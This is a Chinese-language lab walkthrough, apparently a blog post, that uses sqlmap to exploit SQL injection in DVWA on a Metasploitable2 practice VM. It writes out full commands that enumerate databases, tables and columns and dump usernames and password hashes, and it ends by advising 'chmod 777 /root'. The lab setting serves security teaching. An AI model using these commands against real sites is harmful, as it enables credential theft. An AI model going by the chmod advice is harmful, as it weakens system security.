文章目录
实验准备
kali虚拟机,Metasploitable2虚拟机。
实验环境搭建。启动Metasploitable2虚拟机。
环境准备
环境准备:1.登录Metasploitable2的IP/dvwa/login.php ,将安全级别设置为最低;
2.在kali中的火狐浏览器下载TamperData插件,等待获取cookies值
需要cookies时才打开该插件
3.在【SQL Injection】项中,提交User ID为22(地址栏出现id=22,这就是MySQL的注入点)
然后获得URL 获得注入点:http://192.168.62.129/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#
,并点OK
获得cookie
security=low;PHPSESSID=90660b40afc8b6a221aa54d6f79e7648
1、注入点发现。首先肯定是要判断是否有注入漏洞
在kali打开dvwa界面
靶机IP/dvwa/login.php
如何获取账号密码可以参照我另一篇博客
NMAP使用
在输入框输入1,返回
返回正常;
再次输入1’,报错,返回
此时可以断定有SQL注入漏洞,
下面利用SQLMap进行注入攻击。将DVWA安全级别设置为最低;
2、枚举当前使用的数据库名称和用户名
。
• -u :指定目标URL,即注入点
• --cookies:当前会话的cookies值
• -b:获取数据库类型,检索数据库管理系统标识
• --current-db:获取当前数据库
• --current-user:获取当前登录数据库使用的用户
在kali输入的命令:
sqlmap -u “http://192.168.62.129/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#” --cookie=‘security=low;PHPSESSID=90660b40afc8b6a221aa54d6f79e7648’ -b --current-db --current-user
得到如图
3、枚举数据库用户名和密码
-string :当查询可用时用来匹配页面中的字符串
–users:枚举数据库用户名
-password:枚举数据库用户的密码(hash)
我输入的命令:sqlmap -u “http://192.168.62.129/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#” --cookie=‘security=low; PHPSESSID=90660b40afc8b6a221aa54d6f79e7648’ --string=“Surname” --users --password
说明:选择目录下字典文件,暴力破解
安装弹出的提示选择字典破解
可以看到我的三个用户都没有密码
4、枚举数据库
• --dbs:枚举当前数据库
命令:sqlmap -u “http://192.168.62.129/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#” --cookie=‘security=low; PHPSESSID=90660b40afc8b6a221aa54d6f79e7648’ --string=“Surname” --dbs 这个是查看mysql数据库
5、枚举数据库和指定数据库的数据表
-D 数据库名:指定数据库
–tables:枚举指定数据库的所有表
命令:sqlmap -u “http://192.168.62.129/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#” --cookie=‘security=low;PHPSESSID=90660b40afc8b6a221aa54d6f79e7648’ -D dvwa --tables 这个是查看dvwa的数据库
6、获取指定数据库和表中所有列的信息
• -D:指定的数据库
• -T:指定数据库中的数据表
• --columns:获取列的信息
命令:sqlmap -u “http://192.168.62.129/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#” --cookie=‘security=low; PHPSESSID=90660b40afc8b6a221aa54d6f79e7648’ --string=“Surname” -D dvwa -T users --columns
7、枚举指定数据表中的所有用户名与密码,并down到本地。
-C:枚举数据表中的列
–dump:存储数据表项
命令:sqlmap -u “http://192.168.62.129/dvwa/vulnerabilities/sqli/?id=22&Submit=Submit#” --cookie=‘security=low; PHPSESSID=90660b40afc8b6a221aa54d6f79e7648’ --string=“Surname” -D dvwa -T users -C user,password --dump
查看down到本地的用户名与密码,截图。(提示带.的文件夹为隐藏,在图形命令下,用文件浏览器打开文件夹,按下ctrl+h组合键可显示隐藏文件合文件夹,再按一次取消显示。)
打开控制台,切换ROOT用户输入su,输入密码,然后输入以下命令:
chmod 777 /root
然后就可以正常打开需要权限的root文件夹了。
完成!